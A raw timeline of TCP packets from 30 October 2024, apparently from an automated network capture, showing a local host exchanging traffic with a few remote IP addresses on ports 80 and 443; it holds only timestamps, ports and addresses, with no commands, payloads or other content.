Oct 30, 2024 04:35:36.545654058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.545669079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.545679092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.545682907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.545723915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552421093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552459955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552470922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552479982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552531004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552571058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552582026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552592039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552602053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552613974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552618027 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552627087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552674055 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552685022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552695990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552701950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552725077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552763939 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552763939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552776098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552813053 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552855968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552867889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552877903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552886963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552897930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552903891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552910089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552942991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.552973032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.552982092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553018093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553050041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553060055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553069115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553081989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553093910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553097010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553106070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553138018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553168058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553168058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553211927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553222895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553235054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553261995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553282976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553293943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553306103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553318024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553330898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553371906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553415060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553426981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553436995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553447008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553459883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553503990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553545952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553555965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553565979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553577900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553587914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553590059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553653002 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553711891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553723097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553734064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553745031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553755999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553759098 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553781986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553809881 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553850889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553863049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553873062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553884029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553894043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553895950 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553925037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553941011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.553963900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.553977966 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.585824013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.585838079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.585848093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.585927010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.587344885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.587357044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.587373972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.587384939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.587399960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.587420940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.587430954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.587447882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.587482929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.630744934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.630763054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.630783081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.630795002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.630841017 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.630878925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.631030083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.631041050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.631052017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.631072998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.631102085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.631149054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.631160975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.631170988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.631206036 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.631251097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.662504911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662528992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662540913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662556887 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662591934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662601948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662612915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662621975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662621975 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.662647009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662663937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.662724972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.662730932 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662741899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662782907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.662839890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662853956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662863970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662890911 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.662925959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.662935019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662949085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662970066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662980080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.662992001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663007975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663017035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663053989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663054943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663067102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663077116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663098097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663137913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663184881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663197041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663206100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663218975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663229942 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663259983 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663322926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663335085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663346052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663358927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663371086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663373947 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663386106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663438082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663441896 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663459063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663470984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663480997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663484097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663494110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663511992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663548946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663553953 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663614988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663629055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663640022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663650036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.663671970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.663721085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.669998884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670049906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670062065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670072079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670106888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670140028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670171976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670185089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670200109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670221090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670227051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670245886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670258999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670262098 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670283079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670294046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670301914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670308113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670331955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670335054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670347929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670356989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670356989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670378923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670416117 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670424938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670435905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670445919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670495987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670499086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670499086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670515060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670553923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670557976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670569897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670577049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670598030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670614958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670664072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670675993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670691013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670725107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670737982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670752048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670769930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670784950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670814991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670828104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670829058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670840979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670855045 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670867920 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670877934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670882940 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670891047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670896053 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670928001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.670977116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.670989037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671001911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671019077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671020985 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671062946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671089888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671133995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671134949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671145916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671155930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671166897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671180964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671205997 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671257019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671267033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671278000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671303034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671335936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671395063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671406031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671416998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671427965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671439886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671444893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671468019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671502113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671505928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671513081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671524048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671535015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671545982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671572924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671607018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671618938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671629906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.671649933 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.671674967 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.703114986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.703176975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.703187943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.703198910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.703232050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.703278065 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.704910040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.704921007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.704932928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.704956055 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.704961061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.704972029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.705003977 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.705050945 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:37.010590076 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:37.010710955 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:37.010798931 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:37.133871078 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:37.133913994 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:38.368004084 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:38.368045092 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:38.368117094 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:38.368963957 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:38.368983984 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.010453939 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.010575056 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:39.012644053 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:39.012655020 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.012986898 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.015130043 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:39.015228987 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:39.015244007 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.266587019 CET	49985	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:39.266937017 CET	49992	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:39.272293091 CET	80	49992	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:39.272393942 CET	49992	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:39.272583961 CET	49992	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:39.273031950 CET	80	49985	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:39.273107052 CET	49985	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:39.277899027 CET	80	49992	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:39.560200930 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.560302019 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.560379028 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:39.561371088 CET	49991	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:39.561399937 CET	443	49991	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:39.583101988 CET	49993	80	192.168.2.7	185.215.113.206
Oct 30, 2024 04:35:39.588646889 CET	80	49993	185.215.113.206	192.168.2.7
Oct 30, 2024 04:35:39.588732004 CET	49993	80	192.168.2.7	185.215.113.206
Oct 30, 2024 04:35:39.589627028 CET	49993	80	192.168.2.7	185.215.113.206
Oct 30, 2024 04:35:39.594971895 CET	80	49993	185.215.113.206	192.168.2.7
Oct 30, 2024 04:35:40.187036037 CET	80	49992	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:40.187165022 CET	49992	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:40.352463961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:40.357467890 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:40.358551025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:40.358604908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:40.362864971 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:40.362930059 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:40.364620924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:40.371001005 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:40.499469995 CET	80	49993	185.215.113.206	192.168.2.7
Oct 30, 2024 04:35:40.499520063 CET	49993	80	192.168.2.7	185.215.113.206
Oct 30, 2024 04:35:40.511409044 CET	49993	80	192.168.2.7	185.215.113.206
Oct 30, 2024 04:35:40.516706944 CET	80	49993	185.215.113.206	192.168.2.7
Oct 30, 2024 04:35:40.797527075 CET	80	49993	185.215.113.206	192.168.2.7
Oct 30, 2024 04:35:40.797688961 CET	49993	80	192.168.2.7	185.215.113.206
